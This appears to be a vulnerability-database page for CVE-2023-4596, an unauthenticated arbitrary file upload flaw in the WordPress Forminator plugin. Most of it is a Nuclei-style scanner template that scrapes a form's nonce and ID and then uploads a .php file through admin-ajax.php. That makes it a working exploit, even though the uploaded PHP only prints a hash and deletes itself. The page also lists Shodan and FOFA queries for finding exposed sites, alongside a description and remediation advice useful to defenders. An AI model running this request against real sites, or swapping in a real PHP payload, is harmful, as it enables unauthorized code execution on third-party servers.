CVE-2023-4596: WordPress Plugin Forminator 1.24.6 - Arbitrary File Upload

2025-08-01 WordPress Plugin Forminator PoC Public

Description

The Forminator plugin for WordPress is vulnerable to arbitrary file uploads due to file type validation occurring after a file has been uploaded to the server in the upload_post_image() function in versions up to, and including, 1.24.6. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.

PoC

id: CVE-2023-4596

info:
  name: WordPress Plugin Forminator 1.24.6 - Arbitrary File Upload
  author: E1A
  severity: critical
  description: |
    The Forminator plugin for WordPress is vulnerable to arbitrary file uploads due to file type validation occurring after a file has been uploaded to the server in the upload_post_image() function in versions up to, and including, 1.24.6. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
  impact: |
    Unauthenticated attackers can upload arbitrary files including malicious PHP code, potentially leading to complete server compromise and remote code execution.
  remediation: |
    Update the Forminator plugin to version 1.24.7 or later which includes proper file type validation.
  reference:
    - https://www.exploit-db.com/exploits/51664
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/9cd87da6-1f4c-4a15-8ebb-6e0f8ef72513?source=cve
    - https://plugins.trac.wordpress.org/changeset/2954409/forminator/trunk/library/fields/postdata.php
    - https://github.com/E1A/CVE-2023-4596
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4596
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-4596
    cwe-id: CWE-434
    epss-score: 0.14321
    epss-percentile: 0.9642
    cpe: cpe:2.3:a:incsub:forminator:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: incsub
    product: forminator
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/forminator
    fofa-query: body=/wp-content/plugins/forminator
    publicwww-query:
      - /wp-content/plugins/Forminator
      - /wp-content/plugins/forminator
  tags: cve2023,cve,forminator,wordpress,wp,wp-plugin,fileupload,intrusive,rce,incsub,vkev,vuln
variables:
  string: "CVE-2023-4596"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        @timeout: 15s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBLOYSueQAdgN2PRe

        ------WebKitFormBoundaryBLOYSueQAdgN2PRe
        Content-Disposition: form-data; name="textarea-1"

        {{randstr}}
        ------WebKitFormBoundaryBLOYSueQAdgN2PRe
        Content-Disposition: form-data; name="phone-1"

        {{rand_int(10)}}
        ------WebKitFormBoundaryBLOYSueQAdgN2PRe
        Content-Disposition: form-data; name="email-1"

        test@gmail.com
        ------WebKitFormBoundaryBLOYSueQAdgN2PRe
        Content-Disposition: form-data; name="name-1"

        {{randstr}}
        ------WebKitFormBoundaryBLOYSueQAdgN2PRe
        Content-Disposition: form-data; name="postdata-1-post-image"; filename="{{randstr}}.php"
        Content-Type: application/x-php

        <?php echo md5("{{string}}");unlink(__FILE__);?>
        ------WebKitFormBoundaryBLOYSueQAdgN2PRe
        Content-Disposition: form-data; name="forminator_nonce"

        {{forminator_nonce}}
        ------WebKitFormBoundaryBLOYSueQAdgN2PRe
        Content-Disposition: form-data; name="form_id"

        {{form_id}}
        ------WebKitFormBoundaryBLOYSueQAdgN2PRe
        Content-Disposition: form-data; name="current_url"

        {{BaseURL}}
        ------WebKitFormBoundaryBLOYSueQAdgN2PRe
        Content-Disposition: form-data; name="action"

        forminator_submit_form_custom-forms
        ------WebKitFormBoundaryBLOYSueQAdgN2PRe

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - 'Upload file</label>'
          - 'forminator-field-upload'
        condition: and

      - type: word
        part: body_2
        words:
          - '{"success":true'
          - '"form_id":"{{form_id}}"'
          - '"behav'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: forminator_nonce
        part: body
        group: 1
        regex:
          - 'name="forminator_nonce" value="([a-z0-9]+)" \/>'
        internal: true

      - type: regex
        name: form_id
        part: body
        group: 1
        regex:
          - 'name="form_id" value="([0-9]+)">'
        internal: true
# digest: 4b0a00483046022100af83ddca2bb5a17ded0bd91d89c3f420956167d4fda0dbb969ab310e6be2a44f022100a6ba75c8d47aaeea9fdf970479b69434bed4c86a591e2b6a9d58edc8331ef562:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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